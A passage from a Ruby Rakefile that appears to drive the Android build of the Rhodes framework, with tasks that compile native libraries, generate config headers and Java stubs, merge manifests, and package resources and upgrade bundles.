objdir = $objdir["curl"]
libname = $libname["curl"]
sourcelist = File.join($builddir, 'libcurl_build.files')
mkdir_p objdir
mkdir_p File.dirname(libname)
args = []
args << "-DHAVE_CONFIG_H"
args << "-I\"#{srcdir}/../include\""
args << "-I\"#{srcdir}\""
args << "-I\"#{$shareddir}\""
sources = get_sources sourcelist
objects = get_objects sources, objdir
cc_build sources, objdir, args or exit 1
cc_ar ('"'+(libname)+'"'), objects.collect { |x| '"'+x+'"' } or exit 1
end
task :libruby => "config:android" do
srcdir = File.join $shareddir, "ruby"
objdir = $objdir["ruby"]
libname = $libname["ruby"]
sourcelist = File.join($builddir, 'libruby_build.files')
mkdir_p objdir
mkdir_p File.dirname(libname)
args = []
args << "-Wno-uninitialized"
args << "-Wno-missing-field-initializers"
args << '-Wno-shadow'
args << "-I\"#{srcdir}/include\""
args << "-I\"#{srcdir}/android\""
args << "-I\"#{srcdir}/generated\""
args << "-I\"#{srcdir}\""
args << "-I\"#{srcdir}/..\""
args << "-I\"#{srcdir}/../sqlite\""
args << "-I\"#{$std_includes}\"" unless $std_includes.nil?
args << "-D__NEW__" if USE_OWN_STLPORT
args << "-I\"#{$stlport_includes}\"" if USE_OWN_STLPORT
sources = get_sources sourcelist
objects = get_objects sources, objdir
cc_build sources, objdir, args or exit 1
cc_ar ('"'+(libname)+'"'), objects.collect { |x| '"'+x+'"' } or exit 1
end
task :libjson => "config:android" do
srcdir = File.join $shareddir, "json"
objdir = $objdir["json"]
libname = $libname["json"]
sourcelist = File.join($builddir, 'libjson_build.files')
mkdir_p objdir
mkdir_p File.dirname(libname)
args = []
args << "-I\"#{srcdir}\""
args << "-I\"#{srcdir}/..\""
args << "-I\"#{$std_includes}\"" unless $std_includes.nil?
args << "-D__NEW__" if USE_OWN_STLPORT
args << "-I\"#{$stlport_includes}\"" if USE_OWN_STLPORT
sources = get_sources sourcelist
objects = get_objects sources, objdir
cc_build sources, objdir, args or exit 1
cc_ar ('"'+(libname)+'"'), objects.collect { |x| '"'+x+'"' } or exit 1
end
task :libstlport => "config:android" do
if USE_OWN_STLPORT
objdir = $objdir["stlport"]
libname = $libname["stlport"]
sourcelist = File.join($builddir, 'libstlport_build.files')
mkdir_p objdir
mkdir_p File.dirname(libname)
args = []
args << "-I\"#{$stlport_includes}\""
args << "-DTARGET_OS=android"
args << "-DOSNAME=android"
args << "-DCOMPILER_NAME=gcc"
args << "-DBUILD_OSNAME=android"
args << "-D_REENTRANT"
args << "-D__NEW__"
args << "-ffunction-sections"
args << "-fdata-sections"
args << "-fno-rtti"
args << "-fno-exceptions"
sources = get_sources sourcelist
objects = get_objects sources, objdir
cc_build sources, objdir, args or exit 1
cc_ar ('"'+(libname)+'"'), objects.collect { |x| '"'+x+'"' } or exit 1
end
end
task :librholog => "config:android" do
srcdir = File.join $shareddir, "logging"
objdir = $objdir["rholog"]
libname = $libname["rholog"]
sourcelist = File.join($builddir, 'librholog_build.files')
mkdir_p objdir
mkdir_p File.dirname(libname)
args = []
args << "-I\"#{srcdir}/..\""
args << "-I\"#{$std_includes}\"" unless $std_includes.nil?
args << "-D__NEW__" if USE_OWN_STLPORT
args << "-I\"#{$stlport_includes}\"" if USE_OWN_STLPORT
sources = get_sources sourcelist
objects = get_objects sources, objdir
cc_build sources, objdir, args or exit 1
cc_ar ('"'+(libname)+'"'), objects.collect { |x| '"'+x+'"' } or exit 1
end
task :librhomain => "config:android" do
srcdir = $shareddir
objdir = $objdir["rhomain"]
libname = $libname["rhomain"]
sourcelist = File.join($builddir, 'librhomain_build.files')
mkdir_p objdir
mkdir_p File.dirname(libname)
args = []
args << "-I\"#{srcdir}\""
args << "-I\"#{$commonapidir}\""
args << "-I\"#{$std_includes}\"" unless $std_includes.nil?
args << "-D__NEW__" if USE_OWN_STLPORT
args << "-I\"#{$stlport_includes}\"" if USE_OWN_STLPORT
sources = get_sources sourcelist
objects = get_objects sources, objdir
cc_build sources, objdir, args or exit 1
cc_ar ('"'+(libname)+'"'), objects.collect { |x| '"'+x+'"' } or exit 1
end
task :librhocommon => "config:android" do
objdir = $objdir["rhocommon"]
libname = $libname["rhocommon"]
sourcelist = File.join($builddir, 'librhocommon_build.files')
mkdir_p objdir
mkdir_p File.dirname(libname)
args = []
args << "-I\"#{$shareddir}\""
args << "-I\"#{$shareddir}/curl/include\""
args << "-I\"#{$shareddir}/ruby/include\""
args << "-I\"#{$shareddir}/ruby/android\""
args << "-I\"#{$std_includes}\"" unless $std_includes.nil?
args << "-D__NEW__" if USE_OWN_STLPORT
args << "-I\"#{$stlport_includes}\"" if USE_OWN_STLPORT
sources = get_sources sourcelist
objects = get_objects sources, objdir
cc_build sources, objdir, args or exit 1
cc_ar ('"'+(libname)+'"'), objects.collect { |x| '"'+x+'"' } or exit 1
end
task :librhodb => "config:android" do
srcdir = File.join $shareddir, "db"
objdir = $objdir["rhodb"]
libname = $libname["rhodb"]
sourcelist = File.join($builddir, 'librhodb_build.files')
mkdir_p objdir
mkdir_p File.dirname(libname)
args = []
args << "-I\"#{srcdir}\""
args << "-I\"#{srcdir}/..\""
args << "-I\"#{srcdir}/../sqlite\""
args << "-I\"#{$std_includes}\"" unless $std_includes.nil?
args << "-D__NEW__" if USE_OWN_STLPORT
args << "-I\"#{$stlport_includes}\"" if USE_OWN_STLPORT
sources = get_sources sourcelist
objects = get_objects sources, objdir
cc_build sources, objdir, args or exit 1
cc_ar ('"'+(libname)+'"'), objects.collect { |x| '"'+x+'"' } or exit 1
end
task :librhosync => "config:android" do
srcdir = File.join $shareddir, "sync"
objdir = $objdir["rhosync"]
libname = $libname["rhosync"]
sourcelist = File.join($builddir, 'librhosync_build.files')
mkdir_p objdir
mkdir_p File.dirname(libname)
args = []
args << "-I\"#{srcdir}\""
args << "-I\"#{srcdir}/..\""
args << "-I\"#{srcdir}/../sqlite\""
args << "-I\"#{$std_includes}\"" unless $std_includes.nil?
args << "-D__NEW__" if USE_OWN_STLPORT
args << "-I\"#{$stlport_includes}\"" if USE_OWN_STLPORT
sources = get_sources sourcelist
objects = get_objects sources, objdir
cc_build sources, objdir, args or exit 1
cc_ar ('"'+(libname)+'"'), objects.collect { |x| '"'+x+'"' } or exit 1
end
task :libs => [:libsqlite, :libcurl, :libruby, :libjson, :libstlport, :librhodb, :librhocommon, :librhomain, :librhosync, :librholog]
task :genconfig => "config:android" do
mkdir_p $appincdir unless File.directory? $appincdir
# Generate genconfig.h
genconfig_h = File.join($appincdir, 'genconfig.h')
gapi_already_enabled = false
caps_already_enabled = {}
#ANDROID_PERMISSIONS.keys.each do |k|
# caps_already_enabled[k] = false
#end
if File.file? genconfig_h
File.open(genconfig_h, 'r') do |f|
while line = f.gets
if line =~ /^\s*#\s*define\s+RHO_GOOGLE_API_KEY\s+"[^"]*"\s*$/
gapi_already_enabled = true
else
ANDROID_PERMISSIONS.keys.each do |k|
if line =~ /^\s*#\s*define\s+RHO_CAP_#{k.upcase}_ENABLED\s+(.*)\s*$/
value = $1.strip
if value == 'true'
caps_already_enabled[k] = true
elsif value == 'false'
caps_already_enabled[k] = false
else
raise "Unknown value for the RHO_CAP_#{k.upcase}_ENABLED: #{value}"
end
end
end
end
end
end
end
regenerate = false
regenerate = true unless File.file? genconfig_h
regenerate = $use_geomapping != gapi_already_enabled unless regenerate
caps_enabled = {}
ANDROID_PERMISSIONS.keys.each do |k|
caps_enabled[k] = $app_config["capabilities"].index(k) != nil
regenerate = true if caps_already_enabled[k].nil? or caps_enabled[k] != caps_already_enabled[k]
end
puts caps_enabled.inspect
if regenerate
puts "Need to regenerate genconfig.h"
$stdout.flush
File.open(genconfig_h, 'w') do |f|
f.puts "#ifndef RHO_GENCONFIG_H_411BFA4742CF4F2AAA3F6B411ED7514F"
f.puts "#define RHO_GENCONFIG_H_411BFA4742CF4F2AAA3F6B411ED7514F"
f.puts ""
f.puts "#define RHO_GOOGLE_API_KEY \"#{$gapikey}\"" if $gapikey
caps_enabled.each do |k, v|
f.puts "#define RHO_CAP_#{k.upcase}_ENABLED #{v ? "true" : "false"}"
end
f.puts ""
f.puts "#endif /* RHO_GENCONFIG_H_411BFA4742CF4F2AAA3F6B411ED7514F */"
end
else
puts "No need to regenerate genconfig.h"
$stdout.flush
end
# Generate rhocaps.inc
#rhocaps_inc = File.join($appincdir, 'rhocaps.inc')
#caps_already_defined = []
#if File.exists? rhocaps_inc
# File.open(rhocaps_inc, 'r') do |f|
# while line = f.gets
# next unless line =~ /^\s*RHO_DEFINE_CAP\s*\(\s*([A-Z_]*)\s*\)\s*\s*$/
# caps_already_defined << $1.downcase
# end
# end
#end
#
#if caps_already_defined.sort.uniq != ANDROID_PERMISSIONS.keys.sort.uniq
# puts "Need to regenerate rhocaps.inc"
# $stdout.flush
# File.open(rhocaps_inc, 'w') do |f|
# ANDROID_PERMISSIONS.keys.sort.each do |k|
# f.puts "RHO_DEFINE_CAP(#{k.upcase})"
# end
# end
#else
# puts "No need to regenerate rhocaps.inc"
# $stdout.flush
#end
end
task :librhodes => [:libs, :extensions, :genconfig] do
srcdir = File.join $androidpath, "Rhodes", "jni", "src"
libdir = File.join $app_builddir, 'librhodes', 'lib', 'armeabi'
objdir = File.join $tmpdir, 'librhodes'
libname = File.join libdir, 'librhodes.so'
sourcelist = File.join($builddir, 'librhodes_build.files')
mkdir_p libdir
mkdir_p objdir
# add licence lib to build
lic_dst = File.join $app_builddir, 'librhodes', 'libMotorolaLicence.a'
lic_src = $startdir + "/res/libs/motorolalicence/android/libMotorolaLicence.a"
rm_f lic_dst
cp lic_src, lic_dst
args = []
args << "-I\"#{$appincdir}\""
args << "-I\"#{srcdir}/../include\""
args << "-I\"#{srcdir}/../include/rhodes/details\""
args << "-I\"#{$shareddir}\""
args << "-I\"#{$shareddir}/common\""
args << "-I\"#{$shareddir}/api_generator\""
args << "-I\"#{$shareddir}/sqlite\""
args << "-I\"#{$shareddir}/curl/include\""
args << "-I\"#{$shareddir}/ruby/include\""
args << "-I\"#{$shareddir}/ruby/android\""
args << "-I\"#{$coreapidir}\""
args << "-I\"#{$std_includes}\"" unless $std_includes.nil?
args << "-D__SGI_STL_INTERNAL_PAIR_H" if USE_OWN_STLPORT
args << "-D__NEW__" if USE_OWN_STLPORT
args << "-I\"#{$stlport_includes}\"" if USE_OWN_STLPORT
sources = get_sources sourcelist
cc_build sources, objdir, args or exit 1
deps = []
$libname.each do |k, v|
deps << v
end
args = []
args << "-L\"#{$rhobindir}/#{$confdir}\""
args << "-L\"#{libdir}\""
rlibs = []
rlibs << "log"
rlibs << "dl"
rlibs << "z"
rlibs.map! { |x| "-l#{x}" }
elibs = []
extlibs = Dir.glob($app_builddir + "/**/lib*.a") # + Dir.glob($app_builddir + "/**/lib*.so")
extlibs.each do |lib|
args << "-L\"#{File.dirname(lib)}\""
end
stub = []
extlibs.reverse.each do |f|
lparam = "-l" + File.basename(f).gsub(/^lib/, "").gsub(/\.(a|so)$/, "")
elibs << lparam
# Workaround for GNU ld: this way we have specified one lib multiple times
# command line so ld's dependency mechanism will find required functions
# independently of its position in command line
stub.each do |s|
args << s
end
stub << lparam
end
args += elibs
args += elibs
args += rlibs
objects = get_objects sources, objdir
#mkdir_p File.dirname(libname) unless File.directory? File.dirname(libname)
cc_link libname, objects.collect { |x| '"'+x+'"' }, args, deps+extlibs or exit 1
destdir = File.join($androidpath, "Rhodes", "libs", "armeabi")
mkdir_p destdir unless File.exists? destdir
cp_r libname, destdir
cc_run($stripbin, ['"'+File.join(destdir, File.basename(libname))+'"'])
end
task :manifest => ["config:android", :extensions] do
version = {'major' => 0, 'minor' => 0, 'patch' => 0, "build" => 0}
if $app_config["version"]
if $app_config["version"] =~ /^(\d+)$/
version["major"] = $1.to_i
elsif $app_config["version"] =~ /^(\d+)\.(\d+)$/
version["major"] = $1.to_i
version["minor"] = $2.to_i
elsif $app_config["version"] =~ /^(\d+)\.(\d+)\.(\d+)$/
version["major"] = $1.to_i
version["minor"] = $2.to_i
version["patch"] = $3.to_i
elsif $app_config["version"] =~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/
version["major"] = $1.to_i
version["minor"] = $2.to_i
version["patch"] = $3.to_i
version["build"] = $4.to_i
else
raise "Version number must be numeric and in one of these formats: major, major.minor, major.minor.patch, or major.minor.patch.build."
end
end
version = version["major"]*1000000 + version["minor"]*10000 + version["patch"]*100 + version["build"]
usesPermissions = ['android.permission.INTERNET', 'android.permission.PERSISTENT_ACTIVITY', 'android.permission.WAKE_LOCK']
$app_config["capabilities"].each do |cap|
cap = ANDROID_PERMISSIONS[cap]
next if cap.nil?
cap = [cap] unless cap.is_a? Array
cap.each do |cap_item|
if cap_item.is_a? Proc
#caps_proc << cap_item
next
end
if cap_item.is_a? String
usesPermissions << "android.permission.#{cap_item}"
next
end
end
end
usesPermissions.uniq!
hidden = get_boolean($app_config['hidden_app'])
generator = ManifestGenerator.new JAVA_PACKAGE_NAME, $app_package_name, hidden, usesPermissions
generator.versionName = $app_config["version"]
generator.versionCode = version
generator.installLocation = 'auto'
generator.minSdkVer = $min_sdk_level
generator.maxSdkVer = $max_sdk_level
generator.screenOrientation = $android_orientation unless $android_orientation.nil?
generator.hardwareAcceleration = true if $app_config["capabilities"].index('hardware_acceleration')
generator.apikey = $gapikey if $gapikey
generator.addUriParams $uri_scheme, $uri_host, $uri_path_prefix
Dir.glob(File.join($app_builddir, 'extensions', '*', 'adds', 'AndroidManifest.rb')).each do |extscript|
puts "Evaluating #{extscript}"
eval(File.new(extscript).read)
end
Dir.glob(File.join($app_builddir, 'extensions', '*', 'adds', 'Manifest*.erb')).each do |exttemplate|
puts "Adding template #{exttemplate}"
generator.manifestManifestAdds << exttemplate
end
Dir.glob(File.join($app_builddir, 'extensions', '*', 'adds', 'Application*.erb')).each do |exttemplate|
puts "Adding template #{exttemplate}"
generator.applicationManifestAdds << exttemplate
end
manifest = generator.render $rhomanifesterb
File.open($appmanifest, "w") { |f| f.write manifest }
#######################################################
# Deprecated staff below
app_f = File.new($appmanifest)
manifest_orig_doc = REXML::Document.new(app_f)
app_f.close
dst_manifest = manifest_orig_doc.elements["manifest"]
dst_application = manifest_orig_doc.elements["manifest/application"]
dst_main_activity = nil
puts '$$$ try to found MainActivity'
dst_application.elements.each("activity") do |a|
puts '$$$ activity with attr = '+a.attribute('name', 'android').to_s
if a.attribute('name', 'android').to_s == 'com.rhomobile.rhodes.RhodesActivity'
puts ' $$$ FOUND !'
dst_main_activity = a
end
end
Dir.glob(File.join($app_builddir, 'extensions', '*', 'adds', 'AndroidManifest.xml')).each do |ext_manifest|
if File.exists? ext_manifest
puts 'AndroidManifest.xml['+ext_manifest+'] from native extension found !'
manifest_ext_doc = REXML::Document.new(File.new(ext_manifest))
src_manifest = manifest_ext_doc.elements["manifest"]
src_application = manifest_ext_doc.elements["manifest/application"]
if src_application != nil
puts 'Extension Manifest process application item :'
src_application.elements.each do |e|
puts '$$$ process element with attr = '+e.attribute('name', 'android').to_s
if e.attribute('name', 'android').to_s == 'com.rhomobile.rhodes.RhodesActivity'
e.elements.each do |sube|
puts ' add item to MainActivity['+sube.xpath+']'
dst_main_activity.add sube
end
else
puts ' add item ['+e.xpath+']'
dst_application.add e
end
end
end
puts 'Extension Manifest process root <manifest> item :'
src_manifest.elements.each do |e|
p = e.xpath
if p != '/manifest/application'
dst_e = manifest_orig_doc.elements[p]
if dst_e != nil
if p == '/manifest/uses-sdk'
puts ' found and delete original item ['+p+']'
manifest_orig_doc.elements.delete p
end
end
puts ' and new item ['+p+']'
dst_manifest.add e
end
end
else
puts 'AndroidManifest change file ['+m+'] from native extension not found !'
end
end
puts 'delete original manifest'
File.delete($appmanifest)
updated_f = File.open($appmanifest, "w")
manifest_orig_doc.write updated_f, 2
updated_f.close
#rm tappmanifest
puts 'Manifest updated by extension is saved!'
end
task :resources => [:rhobundle, :extensions, :librhodes] do
set_app_name_android($appname)
puts 'EXT: add additional files to project before build'
Dir.glob(File.join($app_builddir, 'extensions', '*', 'adds', '*')).each do |res|
if File.directory?(res) && (res != '.') && (res != '..')
puts "add resources from extension [#{res}] to [#{$tmpdir}]"
cp_r res, $tmpdir
end
end
#copy icon after extension resources in case it overwrites them (like rhoelementsext...)
set_app_icon_android
if $config_xml
puts "Copying custom config.xml"
rawres_path = File.join($tmpdir, 'res', 'raw')
mkdir_p rawres_path unless File.exist? rawres_path
cp $config_xml, File.join(rawres_path, 'config.xml')
end
mkdir_p File.join($applibs)
# Add .so libraries
Dir.glob($app_builddir + "/**/lib*.so").each do |lib|
cp_r lib, $applibs
end
$ext_android_additional_lib.each do |lib|
cp_r lib, $applibs
end
# Dir.glob($tmpdir + "/lib/armeabi/lib*.so").each do |lib|
# cc_run($stripbin, ['"'+lib+'"'])
# end
end
task :fulleclipsebundle => [:resources, :librhodes] do
#manifest = File.join $tmpdir,'AndroidManifest.xml'
eclipse_res = File.join $projectpath,'res'
eclipse_assets = File.join $projectpath,'assets'
eclipse_libs = File.join $projectpath,'libs'
#eclipse_manifest = File.join $projectpath,'AndroidManifest.xml'
rm_rf eclipse_res
rm_rf eclipse_assets
rm_rf eclipse_libs
#rm_rf eclipse_manifest
mkdir_p eclipse_libs
cp_r $appres, $projectpath
cp_r $appassets, $projectpath
cp_r $applibs, eclipse_libs
#cp manifest, $projectpath
end
task :gencapabilitiesjava => "config:android" do
# Generate Capabilities.java
mkdir_p File.dirname $app_capabilities_java
f = StringIO.new("", "w+")
#File.open($app_capabilities_java, "w") do |f|
f.puts "package #{JAVA_PACKAGE_NAME};"
f.puts "public class Capabilities {"
ANDROID_PERMISSIONS.keys.sort.each do |k|
val = 'false'
val = 'true' if $app_config["capabilities"].index(k) != nil
f.puts " public static final boolean #{k.upcase}_ENABLED = #{val};"
end
f.puts "}"
#end
Jake.modify_file_if_content_changed($app_capabilities_java, f)
end
task :genpushjava => "config:android" do
# Generate Push.java
mkdir_p File.dirname $app_push_java
f = StringIO.new("", "w+")
#File.open($app_push_java, "w") do |f|
f.puts "package #{JAVA_PACKAGE_NAME};"
f.puts "public class Push {"
f.puts " public static final String SENDER = \"#{$push_sender}\";"
if $push_notifications.nil?
f.puts " public static final String PUSH_NOTIFICATIONS = \"none\";"
else
f.puts " public static final String PUSH_NOTIFICATIONS = \"#{$push_notifications}\";"
end
f.puts "};"
#end
Jake.modify_file_if_content_changed($app_push_java, f)
end
task :genloadlibsjava => "config:android" do
mkdir_p File.dirname $app_native_libs_java
f = StringIO.new("", "w+")
#File.open($app_native_libs_java, "w") do |f|
f.puts "package #{JAVA_PACKAGE_NAME};"
f.puts "public class NativeLibraries {"
f.puts " public static void load() {"
f.puts " // Load native .so libraries"
Dir.glob($app_builddir + "/**/lib*.so").reverse.each do |lib|
next if lib =~ /noautoload/
libname = File.basename(lib).gsub(/^lib/, '').gsub(/\.so$/, '')
f.puts " System.loadLibrary(\"#{libname}\");"
end
#f.puts " // Load native implementation of rhodes"
#f.puts " System.loadLibrary(\"rhodes\");"
f.puts " }"
f.puts "};"
#end
Jake.modify_file_if_content_changed($app_native_libs_java, f)
end
task :genrholisteners => ['config:android:extensions', 'config:android'] do
# RhodesActivity Listeners
mkdir_p File.dirname $app_startup_listeners_java
f = StringIO.new("", "w+")
f.puts '// WARNING! THIS FILE IS GENERATED AUTOMATICALLY! DO NOT EDIT IT MANUALLY!'
f.puts 'package com.rhomobile.rhodes.extmanager;'
f.puts ''
f.puts 'class RhodesStartupListeners {'
f.puts ''
f.puts ' public static final String[] ourRunnableList = { ""'
$ext_android_rhodes_activity_listener.each do |a|
f.puts ' ,"'+a+'"'
end
f.puts ' };'
f.puts '}'
Jake.modify_file_if_content_changed($app_startup_listeners_java, f)
end
task :genrjava => [:manifest, :resources] do
mkdir_p $app_rjava_dir
puts "Generate initial R.java at #{$app_rjava_dir} >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>"
args = ["package", "-f", "-M", $appmanifest, "-S", $appres, "-A", $appassets, "-I", $androidjar, "-J", $app_rjava_dir]
Jake.run($aapt, args)
raise 'Error in AAPT: R.java' unless $?.success?
#buf = File.new($rho_android_r, "r").read.gsub(/^\s*import com\.rhomobile\..*\.R;\s*$/, "\nimport #{$app_package_name}.R;\n")
#File.open($app_android_r, "w") { |f| f.write(buf) }
mkdir_p File.join($app_rjava_dir, "R") if not File.exists? File.join($app_rjava_dir, "R")
buf = File.new(File.join($app_rjava_dir, "R.java"), "r").read.gsub(/^\s*package\s*#{$app_package_name};\s*$/, "\npackage com.rhomobile.rhodes;\n")
#buf.gsub!(/public\s*static\s*final\s*int/, "public static int")
File.open(File.join($app_rjava_dir, "R", "R.java"), "w") { |f| f.write(buf) }
$ext_android_library_deps.each do |package, path|
r_dir = File.join $tmpdir, 'gen', package.split('.')
mkdir_p r_dir
buf = File.new(File.join($app_rjava_dir, 'R.java'), "r").read.gsub(/^\s*package\s*#{$app_package_name};\s*$/, "\npackage #{package};\n")
File.open(File.join(r_dir,'R.java'), 'w') { |f| f.write(buf) }
end
end
task :genreclipse => [:manifest, :resources] do
mkdir_p $app_rjava_dir
args = ["package", "-f", "-M", $appmanifest, "-S", $appres, "-A", $appassets, "-I", $androidjar, "-J", $app_rjava_dir]
Jake.run($aapt, args)
raise 'Error in AAPT: R.java' unless $?.success?
Dir.glob(File.join $app_rjava_dir, '*.java') do |java|
buf = File.new(java, 'r').read.gsub(/package .*$/, 'package com.rhomobile.rhodes;')
File.open(java, 'w') { |f| f.write buf }
end
#buf = File.new($rho_android_r, "r").read.gsub(/^\s*import com\.rhomobile\..*\.R;\s*$/, "\nimport #{$app_package_name}.R;\n")
#File.open($app_android_r, "w") { |f| f.write(buf) }
#mkdir_p File.join($app_rjava_dir, "R") if not File.exists? File.join($app_rjava_dir, "R")
#buf = File.new(File.join($app_rjava_dir, "R.java"), "r").read.gsub(/^\s*package\s*#{$app_package_name};\s*$/, "\npackage com.rhomobile.rhodes.R;\n")
#"{b}"uf.gsub!(/public\s*static\s*final\s*int/, "public static int")
#File.open(File.join($app_rjava_dir, "R", "R.java"), "w") { |f| f.write(buf) }
end
task :gensourceseclipse => [:genloadlibsjava, :genpushjava, :gencapabilitiesjava, :genrholisteners, :genreclipse]
task :gensourcesjava => [:genloadlibsjava, :genpushjava, :gencapabilitiesjava, :genrholisteners, :genrjava]
#desc "Build Rhodes for android"
task :rhodes => [:rhobundle, :librhodes, :manifest, :resources, :gensourcesjava] do
rm_rf $tmpdir + "/Rhodes"
mkdir_p $tmpdir + "/Rhodes"
srclist = File.join($builddir, "RhodesSRC_build.files")
newsrclist = File.join($tmpdir, "RhodesSRC_build.files")
lines = []
File.open(srclist, "r") do |f|
while line = f.gets
line.chomp!
next if line =~ /\/AndroidR\.java\s*$/
lines << line
end
end
Dir.glob(File.join($tmpdir,'gen','**','*.java')) do |filepath|
lines << "\"#{filepath}\""
end
#lines << "\"" +File.join($app_rjava_dir, "R.java")+"\""
#lines << "\"" +File.join($app_rjava_dir, "R", "R.java")+"\""
#lines << "\"" +$app_native_libs_java+"\""
#lines << "\"" +$app_capabilities_java+"\""
#lines << "\"" +$app_push_java+"\""
#lines << "\"" +$app_startup_listeners_java+"\""
File.open(newsrclist, "w") { |f| f.write lines.join("\n") }
srclist = newsrclist
classpath = $androidjar
classpath += $path_separator + $google_classpath if $google_classpath
classpath += $path_separator + $motosol_classpath if $motosol_classpath
classpath += $path_separator + File.join($tmpdir, 'Rhodes')
javafilelists = [srclist]
extlist = File.join $app_builddir, "ext_build.files"
if File.exists? extlist
puts "#{extlist} is found! THere are addditional java files"
javafilelists << extlist
end
java_compile(File.join($tmpdir, 'Rhodes'), classpath, javafilelists)
files = []
Dir.glob(File.join($tmpdir, "Rhodes", "*")).each do |f|
relpath = Pathname.new(f).relative_path_from(Pathname.new(File.join($tmpdir, "Rhodes"))).to_s
files << relpath
end
unless files.empty?
jar = File.join($app_builddir, 'librhodes', 'Rhodes.jar')
args = ["cf", jar]
args += files
Jake.run($jarbin, args, File.join($tmpdir, "Rhodes"))
unless $?.success?
raise "Error creating #{jar}"
end
$android_jars = [jar]
end
end
task :extensions_java => [:rhodes, :extensions] do
puts 'Compile additional java files:'
classpath = $androidjar
classpath += $path_separator + $google_classpath if $google_classpath
classpath += $path_separator + $motosol_classpath if $motosol_classpath
classpath += $path_separator + File.join($tmpdir, 'Rhodes')
Dir.glob(File.join($app_builddir, '**', '*.jar')).each do |jar|
classpath += $path_separator + jar
end
$ext_android_additional_sources.each do |extpath, list|
ext = File.basename(extpath)
puts "Compiling '#{ext}' extension java sources: #{list}"
srclist = Tempfile.new "#{ext}SRC_build"
lines = []
File.open(list, "r") do |f|
while line = f.gets
line.chomp!
srclist.write "\"#{File.join(extpath, line)}\"\n"
#srclist.write "#{line}\n"
end
end
srclist.close
mkdir_p File.join($tmpdir, ext)
java_compile(File.join($tmpdir, ext), classpath, [srclist.path])
extjar = File.join $app_builddir, 'extensions', ext, ext + '.jar'
args = ["cf", extjar, '.']
Jake.run($jarbin, args, File.join($tmpdir, ext))
unless $?.success?
raise "Error creating #{extjar}"
end
$android_jars << extjar
classpath += $path_separator + extjar
end
end
task :upgrade_package => :rhobundle do
#puts '$$$$$$$$$$$$$$$$$$'
#puts 'targetdir = '+$targetdir.to_s
#puts 'bindir = '+$bindir.to_s
android_targetdir = $targetdir #File.join($targetdir, 'android')
mkdir_p android_targetdir if not File.exists? android_targetdir
zip_file_path = File.join(android_targetdir, 'upgrade_bundle.zip')
Jake.build_file_map(File.join($srcdir, "apps"), "rhofilelist.txt")
Jake.zip_upgrade_bundle($bindir, zip_file_path)
end
task :upgrade_package_partial => ["build:android:rhobundle"] do
#puts '$$$$$$$$$$$$$$$$$$'
#puts 'targetdir = '+$targetdir.to_s
#puts 'bindir = '+$bindir.to_s
# process partial update
add_list_full_name = File.join($app_path, 'upgrade_package_add_files.txt')
remove_list_full_name = File.join($app_path, 'upgrade_package_remove_files.txt')
src_folder = File.join($bindir, 'RhoBundle')
src_folder = File.join(src_folder, 'apps')
tmp_folder = $bindir + '_tmp_partial'
rm_rf tmp_folder if File.exists? tmp_folder
mkdir_p tmp_folder
dst_tmp_folder = File.join(tmp_folder, 'RhoBundle')
mkdir_p dst_tmp_folder
# copy all
cp_r src_folder, dst_tmp_folder
dst_tmp_folder = File.join(dst_tmp_folder, 'apps')
mkdir_p dst_tmp_folder
add_files = []
if File.exists? add_list_full_name
File.open(add_list_full_name, "r") do |f|
while line = f.gets
fixed_path = line.gsub('.rb', '.iseq').gsub('.erb', '_erb.iseq').chop
add_files << fixed_path
puts '### ['+fixed_path+']'
end
end
end
remove_files = []
if File.exists? remove_list_full_name
File.open(remove_list_full_name, "r") do |f|
while line = f.gets
fixed_path = line.gsub('.rb', '.iseq').gsub('.erb', '_erb.iseq').chop
remove_files << fixed_path
#puts '### ['+fixed_path+']'
end
end
end
psize = dst_tmp_folder.size+1
Dir.glob(File.join(dst_tmp_folder, '**/*')).sort.each do |f|
relpath = f[psize..-1]
if File.file?(f)
#puts '$$$ ['+relpath+']'
if not add_files.include?(relpath)
rm_rf f
end
end
end
Jake.build_file_map(dst_tmp_folder, "upgrade_package_add_files.txt")
#if File.exists? add_list_full_name
# File.open(File.join(dst_tmp_folder, 'upgrade_package_add_files.txt'), "w") do |f|
# add_files.each do |j|
# f.puts "#{j}\tfile\t0\t0"
# end
# end
#end
if File.exists? remove_list_full_name
File.open(File.join(dst_tmp_folder, 'upgrade_package_remove_files.txt'), "w") do |f|
remove_files.each do |j|
f.puts "#{j}"
#f.puts "#{j}\tfile\t0\t0"
end
end
end
mkdir_p $targetdir if not File.exists? $targetdir
zip_file_path = File.join($targetdir, "upgrade_bundle_partial.zip")
Jake.zip_upgrade_bundle(tmp_folder, zip_file_path)
rm_rf tmp_folder
end
#desc "build all"
task :all => [:rhobundle, :rhodes, :extensions_java]
end
end
namespace "package" do
task :android => "build:android:all" do
puts "Running dx utility"
args = []
args << "-Xmx1024m"
args << "-jar"
args << $dxjar
args << "--dex"
args << "--output=#{$bindir}/classes.dex"
Dir.glob(File.join($app_builddir, '**', '*.jar')).each do |jar|
args << jar
end
Jake.run(File.join($java, 'java'+$exe_ext), args)
unless $?.success?
raise "Error running DX utility"
end
resourcepkg = $bindir + "/rhodes.ap_"
puts "Packaging Assets and Jars"
# this task already caaled during build "build:android:all"
#set_app_name_android($appname)
args = ["package", "-f", "-M", $appmanifest, "-S", $appres, "-A", $appassets, "-I", $androidjar, "-F", resourcepkg]
Jake.run($aapt, args)
unless $?.success?
raise "Error running AAPT (1)"
end
# Workaround: manually add files starting with '_' because aapt silently ignore such files when creating package
Dir.glob(File.join($appassets, "**/*")).each do |f|
next unless File.basename(f) =~ /^_/
relpath = Pathname.new(f).relative_path_from(Pathname.new($tmpdir)).to_s
puts "Add #{relpath} to #{resourcepkg}..."
args = ["uf", resourcepkg, relpath]
Jake.run($jarbin, args, $tmpdir)
unless $?.success?
raise "Error packaging assets"
end
end
puts "Packaging Native Libs"
args = ["uf", resourcepkg]
Dir.glob(File.join($applibs, "lib*.so")).each do |lib|
cc_run($stripbin, ['"'+lib+'"'])
args << "lib/armeabi/#{File.basename(lib)}"
end
Jake.run($jarbin, args, $tmpdir)
unless $?.success?
raise "Error packaging native libraries"
end
end
end
namespace "device" do
namespace "android" do
desc "Build debug self signed for device"
task :debug => "package:android" do
dexfile = $bindir + "/classes.dex"
simple_apkfile = $targetdir + "/" + $appname + "-tmp.apk"
final_apkfile = $targetdir + "/" + $appname + "-debug.apk"
resourcepkg = $bindir + "/rhodes.ap_"
apk_build $androidsdkpath, simple_apkfile, resourcepkg, dexfile, true
puts "Align Debug APK file"
args = []
args << "-f"
args << "-v"
args << "4"
